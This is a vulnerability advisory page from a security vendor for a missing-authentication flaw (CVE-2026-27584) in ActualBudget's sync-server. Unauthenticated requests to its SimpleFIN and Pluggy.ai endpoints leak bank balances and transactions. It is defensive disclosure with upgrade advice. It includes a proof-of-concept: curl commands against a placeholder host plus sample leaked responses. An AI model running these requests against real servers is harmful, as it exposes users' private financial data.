How severe is GHSA-m2cq-xjgm-f668?

No CVSS score has been assigned to GHSA-m2cq-xjgm-f668 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-m2cq-xjgm-f668?

GHSA-m2cq-xjgm-f668 affects the following packages: @actual-app/sync-server (npm). Ecosystems affected: npm.

How do I fix GHSA-m2cq-xjgm-f668?

Update @actual-app/sync-server to 26.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m2cq-xjgm-f668 is resolved across your whole dependency graph.

How do I detect GHSA-m2cq-xjgm-f668 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/sync-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-m2cq-xjgm-f668 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-m2cq-xjgm-f668?

O3 pinpoints whether GHSA-m2cq-xjgm-f668 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-m2cq-xjgm-f668 actively exploited in the wild?

No public exploit code has been indexed for GHSA-m2cq-xjgm-f668 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-m2cq-xjgm-f668?

GHSA-m2cq-xjgm-f668 has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 31th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-m2cq-xjgm-f668?

GHSA-m2cq-xjgm-f668 is classified as Missing Authentication (CWE-306). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-m2cq-xjgm-f668 published, and has it been updated?

GHSA-m2cq-xjgm-f668 was published on February 24, 2026 and was last updated on February 24, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-m2cq-xjgm-f668

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Also known asCVE-2026-27584

Published

Feb 24, 2026

Updated

Feb 24, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk31th percentile+0.22%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

📦@actual-app/sync-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):

/packages/sync-server/src/app-simplefin/app-simplefin.js
/packages/sync-server/src/app-pluggyai/app-pluggyai.js

The sensitive endpoints missing authentication are:

POST /simplefin/status
POST /simplefin/accounts
POST /simplefin/transactions
POST /pluggyai/status
POST /pluggyai/accounts
POST /pluggyai/transactions

The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):

const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication

PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN:

# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"

# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"

# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

PluggyAI:

# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"

# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

Example response from POST /simplefin/accounts:

{
    "status": "ok",
    "data": {
        "accounts": [
            {
                "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
                "name": "CHEQUING ACCOUNT",
                "currency": "CAD",
                "balance": "1234.56",
                "available-balance": "0.00",
                "balance-date": 1771531758,
                "transactions": [],
                "holdings": [],
                "org": {
                    "domain": "www.cibc.com",
                    "name": "CIBC",
                    "sfin-url": "https://beta-bridge.simplefin.org/simplefin",
                    "url": "https://www.cibconline.cibc.com",
                    "id": "www.cibconline.cibc.com"
                }
            },
            ...
        ]
    }
}

Example response from POST /simplefin/transactions:

{
    "status": "ok",
    "data": {
        "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
            "balances": [
                {
                    "balanceAmount": {
                        "amount": "1234.56",
                        "currency": "CAD"
                    },
                    "balanceType": "expected",
                    "referenceDate": "2026-02-19"
                },
                {
                    "balanceAmount": {
                        "amount": "1234.56",
                        "currency": "CAD"
                    },
                    "balanceType": "interimAvailable",
                    "referenceDate": "2026-02-19"
                }
            ],
            "startingBalance": 123456,
            "transactions": {
                "all": [
                    {
                        "booked": true,
                        "sortOrder": 1771502400,
                        "date": "2026-02-19",
                        "payeeName": "E-Transfer",
                        "notes": "SEND E-TFR ***ABC",
                        "transactionAmount": {
                            "amount": "-12.00",
                            "currency": "USD"
                        },
                        "transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
                        "transactedDate": "2026-02-19",
                        "postedDate": "2026-02-19"
                    },
                    ...
                ],
                "pending": []
            }
        }
    }
}

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@actual-app/sync-server`	all versions	26.2.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/sync-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @actual-app/sync-server to 26.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m2cq-xjgm-f668 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m2cq-xjgm-f668 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m2cq-xjgm-f668. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information. ### Impact This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network. ### Details The ActualBu

O3 Security · Impact-Aware SCA

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